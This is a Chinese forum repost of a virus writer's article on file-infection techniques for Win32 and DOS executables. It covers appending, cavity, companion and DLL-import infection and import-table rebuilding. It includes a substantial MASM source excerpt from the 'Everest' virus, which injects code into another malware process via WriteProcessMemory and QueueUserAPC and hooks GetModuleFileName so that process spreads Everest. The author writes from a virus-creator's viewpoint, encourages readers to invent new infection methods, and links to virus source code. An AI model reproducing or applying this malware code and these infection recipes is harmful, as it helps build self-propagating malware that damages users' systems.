好友
阅读权限 255
听众
最后登录 1970-1-1
zzage
发表于 2009-4-19 23:18
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
[作者貌似是cvc的Vancheer]
前言:
病毒感染技术五花八门,这里对其做一大概介绍,并对一些应用不多但比较有潜力的技术加以分析。
文中以Win32病毒为主,但也提到DOS病毒技术,由于涉及面比较广,错误在所难免,请大家多多包涵!
一、传统技术
这里说的传统,指的是比较典型、应用比较多的感染方式,而不是普通意义上“老掉牙”的那种传统!一般传统的病毒感染技术分成下面几类:
1.后缀式感染
这是DOS以及Windows下文件型病毒最常用的感染方式,也是原来非常流行的一种感染方式,相信很多研究病毒的朋友都是从这种技术起步的吧!
这种方式是非常简单的,只要把病毒体缀在宿主文件最后,再修改程序入口,注意一下对齐,就行了。实际上这个方式也是最简单易行的,深得VXer喜爱,因为它简单,但是却非常适合对病毒进行复杂的加密变形!
值得一提的是,国内的病毒爱好者和一些“汇编高手”,非常喜欢对PE文件进行加节,其实个人认为这是不好的技术!原因就是操作复杂,而且不一定总能成功,很可能没有地方加一个Section。简单而有效的方法是把病毒体直接缀在最后一个节的后面,然后改最后节的相关属性,并注意一下Image和File的对齐就行了。
顺便提一下,98检查对齐不是很严格,2000就非常严格了。
2.散落式感染
英文叫cavity,就是把病毒体切成小块分散插入到宿主的空隙中,病毒执行时再把他们组合起来。似乎人们从CIH才开始认识这种方式,事实上这种方式古已有之,一些DOS病毒就用这种方式,只是没有引起人们注意--人们通常只推崇轰动的东西!
PE文件由于结构关系,天然就有很多空隙,适合一个小病毒存在,而DOS可执行文件则没有什么Section的概念,也没有什么天然空隙,似乎看起来不可能插入。其实不然,由于编译器的缘故,文件里很可能有一些用于保存数据的连续的0,这些空间只在运行时才有用,和程序的初始化没关系。所以病毒可以统计这些连续的0,如果发现这样的空间足够大,就可以把病毒块放在里面,运行时把病毒块摘出,然后重新把那块内存清零就可以了——这种技术在DOS时代算是比较高级的技术,实现起来比较困难。我的第一个病毒,也是唯一一个DOS病毒(惭愧,2000年写的,太晚了),就是用这种方式,可惜太烂。从这点就可以看出DOS病毒的魅力,在有限的资源下发觉无穷的乐趣,不像Windows,系统的资源多多,写病毒容易多了。
这种感染方式还有衍生。比如不利用宿主已有的空隙,而是在宿主代码里硬生生地挖洞,把病毒代码插进去,病毒执行后再把洞填回去。这样的好处是可以把病毒分解成很小的碎片,这样就不容易被发现,缺点是实现有些复杂,效果未必比利用已有空隙好。
3.捆绑式感染
这种方式木马比较常用。就是用病毒自身替代宿主文件,而把宿主作为数据存储在病毒体内。
这种方式有明显的不足,就是宿主增大太多,启动速度太慢。我们亲爱的Nimda把这种方式发扬光大了。
4.伴侣式感染
这种方式DOS下的病毒和Windows下的木马都常用。就是用病毒自身替代宿主,把宿主改个文件名,病毒启动后再启动宿主。
这个和捆绑式有相似之处,不足之处更是一样,而且还多了一个,就是病毒文件被Copy到别的机器以后,就没有了宿主文件,无法执行正常功能了,这样就很容易被用户发现。所以这种方式比较适合感染安装在“Program Files”里的一般不会被拷贝的应用程序,而不是感染普通独立的可执行文件。
二、另类感染
这里所说的另类,可能在很多人眼里是很普通的方法。但这些方法,并没有得到广泛应用,所以称之为另类。
1.DLL链接式感染
这个方法,好像前一阵子有蠕虫用到,CVC的兄弟VxK也和我提到。当时我不太在意,不过仔细想想,这也是一种不错的感染技术。
具体实现很简单,就是把病毒作为一个DLL文件,然后在宿主体内加入一个导入此DLL的Import项。这样在宿主启动时,系统会自动装载病毒。
这种方法的好处是明显的,就是宿主启动比较迅速,因为病毒和普通DLL没什么区别。而且如果用户敢删除病毒文件,那么被感染的文件就执行不了了。
不足之处:
1)不总能感染,不一定有地方加一个Import项。
2)这个问题更严重,其和伴侣式一样,一旦宿主被拷贝到别的机器,那么宿主就无法运行了。
如果你要用伴侣式,可以先考虑考虑这个方式。
2.肢解式感染
听起来很吓人,实现起来也比较残忍--改掉PE文件的结构,对其进行“重组”。
这个想法我最早实现在我的病毒Win32.Loicer(W32.Cervan)中,这是一个不成功的病毒,bug非常非常多,但总算实现了这个思想。
这个病毒的源码比较复杂,就不在这里分析了。感兴趣的同志可以去CVC论坛看源码,可以通过地址http://www.logincom.com/cvc_issue1.chm 下载。
这里只简单说一下这种感染技术的思路。
我们先看一下一个程序从可执行文件成为一个进程的过程:Windows装载进程时,首先要把文件映射到内存,然后的工作就是装载文件Import表里导入的 DLL,填充API地址,最后才能正式启动进程。当进程调用API时,它就会用一条call tttttt指令,tttttt处并不是API入口,而是一条间接跳转指令,jmp [xxxx],此处xxxx地址处存放的就是系统填充的API地址。
如果能在xxxx处填入病毒的入口地址,那么就可以完成感染,可惜的是系统会填充那里,我们无法控制。看起来我说废话了,其实不然。换个角度想想,如果我们阻止系统填充,那么我们不就能占领高地了吗?我们是无法阻止系统填充的(又说废话),但我们可以让系统填充到别处,也就是把Import表搬个地方。
好了,整理一下思路,让我们看一下具体的感染步骤:
1)创建一个新的Import表,里面可以引入病毒自己需要的API,比如LoadLibrary
2)将原Import表拷贝到病毒体内
3)修改PE头,使得Import Entry指向新的Import表
4)修改原Import各API地址,使得当宿主调用API时,可以跳入病毒代码。这样也就自然而然地完成了非常好的EPO。
上面是感染文件所要做的工作,当病毒执行时,还要做额外的工作,就是装载宿主需要的所有DLL,并把API地址填充到宿主的Import表里。
上面说的非常简单,具体实现比这要复杂得多,可以参考Loicer源代码。
从上面的感染过程可以看出,由于被感染文件的原始Import表已经不复存在,所以基本无法恢复成原貌,这就是我为什么说这种方式是无法恢复的。但无法恢复是相对的,PE结构无法恢复了,但宿主功能还完好无损。
这个感染技术,其实可以推广到加密技术,很容易就将Import表加密了(Loicer确实把宿主用到的API加密)。如果不用EPO技术,那么完全可以把宿主代码也进行加密。
这个方法只是把Import表进行了重组,其实更进一步的话,可以对整个PE文件进行重新组装,并可进行加密。这样将使病毒被清除的难度大大增加,而且也破坏了PE文件原有结构,使恢复变得非常困难。
3.寄居蟹式感染/传播
这是我们CVC兄弟PKXP的一大发明,并应用在小病毒Everest中,是一种很懒的做法,但懒得有道理,懒得够水平。
其实这种思想非常简单,就是自己不传播,让其它病毒传播自己。
这个病毒里面有几个有意思的地方,所以让我们分析一下这个病毒。
@pushsz 'Everest' ;压字符串
push FALSE
push NULL
call CreateMutex
call GetLastError ;避免运行多个实例
cmp eax , ERROR_ALREADY_EXISTS ;已经运行,结束
jz ExitVirus
上面是蠕虫的传统,建立互斥,避免多次运行。
下面一条指令跳入初始化模块,主要获取系统路径,并提升权限,获取SE_DEBUG_NAME(SeDebugPrivilege)权限,并无特别之处,不再赘述。
初始化完成后,就开始我们寄居蟹之旅,想办法找到合适的贝壳。
这里的贝壳,就是在机器内活动的其它病毒进程(以下所说的病毒,是指其它病毒,而非Everest。)。
找到特定的进程很简单,无非是枚举所有进程,然后把进程的文件名和病毒文件名比对,就可以了。由于Everest这部分代码不是很好(用了PSAPI,其实ToolHelp API更好些),而且比较简单,这里就不分析代码了。
下面就是比较关键的地方了,对找到的病毒进行手术。
PatchVirus PROC hProcess : DWORD , szVirusPath : DWORD
LOCAL szDestPath[128] : BYTE
LOCAL szFormatedPath[128]: BYTE
pushad
mov eax,hProcess
or eax,eax
jz PVMoveVirus
push 0
push hProcess
call TerminateProcess;结束病毒进程,这就是为什么在开始需要提升权限了
push INFINITE
push hProcess
call WaitForSingleObject ;等到它真的结束为止
push hProcess
call CloseHandle
PVMoveVirus:
lea esi , szFormatedPath
push esi
push szVirusPath
call FormatVirus ;产生病毒文件名
lea edi , szDestPath
push esi
push edi
call lstrcpy
@pushsz '.scr'
push edi
call lstrcat ;产生新文件名
push edi
push esi
call MoveFile ;把病毒文件改成新名字
push esi
call lstrlen
mov esi , szVirusPath
add esi , eax
push esi
push edi
call lstrcat
push edi
call StartVirus ;重新启动病毒
popad
ret 8
PatchVirus ENDP
上面的代码,基本就是先结束病毒进程,再重新启动。这不是盲目的瞎折腾,而是要在重新启动时对病毒进行一些手术。
手术开始了:
StartVirus PROC szVirusPath : DWORD
LOCAL sio : STARTUPINFO
LOCAL pi : PROCESS_INFORMATION
LOCAL cbWritten : DWORD
pushad
push sizeof(STARTUPINFO)
lea eax , sio
push eax
call RtlZeroMemory
mov sio.cb , sizeof STARTUPINFO
mov sio.wShowWindow , SW_HIDE
mov sio.dwFlags , STARTF_USESHOWWINDOW
lea eax , pi
push eax
lea eax , sio
push eax
push NULL
push NULL
push CREATE_SUSPENDED
push TRUE
push NULL
push NULL
push szVirusPath
push NULL
call CreateProcess ;启动病毒进程,注意参数CREATE_SUSPENDED的存在使病毒处于休眠状态,这样才方便手术
or eax , eax
jz SVExit
push 3000
call Sleep
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push RemoteCodeEnd - RemoteCodeStart
push 0
push pi.hProcess
call VirtualAllocEx ;在病毒进程分配一块内存
or eax , eax
jz SVFail
mov esi , eax
add eax , NewGetModuleFileName - RemoteCodeStart
mov _NewGetModuleFileNameA , eax
lea eax , cbWritten
push eax
push RemoteCodeEnd - RemoteCodeStart
push offset RemoteCodeStart
push esi
push pi.hProcess
call WriteProcessMemory ;向病毒进程写入代码
or eax , eax
jz SVFail
push NULL
push pi.hThread
push esi
call QueueUserAPC ;排队等候执行
or eax , eax
jz SVFail
push pi.hThread
call ResumeThread ;好了,手术结束,唤醒病毒
SVFail:
push pi.hThread
call CloseHandle
push pi.hProcess
call CloseHandle
SVExit:
popad
ret 4
StartVirus ENDP
写入病毒进程的远程代码如下:
RemoteCodeStart:
mov esi , 12345678h
_GetModuleFileNameA = dword ptr $-4
@pushsz '123' ;cbWriten
push PAGE_EXECUTE_READWRITE
push 6
push esi
mov eax , 12345678h
_VirtualProtect = dword ptr $-4
call eax ;改虚拟内存属性,方便写入
@pushsz '123' ;cbWriten
push 6
call RCSJump
push 12345678h ;这两行代码是跳转代码
_NewGetModuleFileNameA = dword ptr $-4
ret
RCSJump:
push esi
push -1
mov eax , 12345678h
_WriteProcessMemory = dword ptr $-4
call eax ;写入跳转代码
ret 4
NewGetModuleFileName:
push esi
push edi
mov edi , [esp+16]
call _szWormPath
szWormPath db MAX_PATH dup (0)
_szWormPath:
pop esi
xor ecx , ecx
RCSLoop:
lodsb
stosb
inc ecx
or al , al
jnz RCSLoop
pop edi
pop esi
mov eax , ecx
ret 12
RemoteCodeEnd:
让我们回过头来对上面两段代码进行简单分析。
StartVirus模块其实就是以休眠状态创建病毒进程,然后向其插入远程代码,并启动之。有趣的是这里并没有使用远程线程,而是使用了QueueUserAPC。这个API非常有趣,它的作用是把插入的远程代码作为一个APC callback进行排队,当进程触发某些状态时,这个回调就会被调用。从休眠转入运行,就是这样的状态,所以远程代码在病毒执行前就执行了。关于QueueUserAPC,大家可以看看MSDN。这个API又一次体现了MS的风格,好用就行,不管安全与否。
RemoteCodeStart模块就是远程代码部分,它的作用很明朗,就是替换病毒进程的GetModuleFileName函数的头6个字节,换成push xxxxxx/ret,其中xxxxxx是新的GetModuleFileName地址。这样当病毒调用GetModuleFileName时,就会掉到Everest埋伏的陷阱里,一个新的GetModuleFileName。这个新的GetModuleFileName返回的是预先取得的Everest的文件名。
说到这里,这个寄居蟹思路已经比较明朗了:当病毒获取自身文件名时,结果获得的是Everest的,当病毒把“自身文件”向外传播时,传的就是Everest了。
由上可以看出这是多么懒的做法,但懒得有道理,不用任何网络编程,就可以通过网络传播。
这是一种新的思想,而且还算比较不错的思想,但未必实用。试想想,有几个用户会同时中两个病毒(一个Everest,一个其它病毒)?写病毒的一个原则,就是不能完全依赖特定的东西,否则一旦依赖的对象不存在了,病毒自身也就完蛋了,而Everest一旦离开其它病毒,它就无法传播了。
结束语:
我之所以在这里提到这些未必实用(对于Everest更是先给个甜枣,然后扇一巴掌)的想法,就是想给大家一些启示,我们不能整天局限于什么添加新节之类的古老技术。要想在病毒方面有所突破,就要有创新,即使新想法未必实用,总比墨守成规要好。只有思路开阔了,才会有更多的新技术被发现。
和写普通软件一样,我们中国的病毒爱好者基本都是在追随国外的东西,少有自己的想法。这大概是一种“玩电脑,我们就是不如外国人”的思想作祟。其实仔细看看上面的感染方法,有几个也是中国人发明的,哪里就差了?只要肯思考,我们同样能有新的思想,新的技术!绝对不比老外差!
发帖前要善用【论坛搜索 】 功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。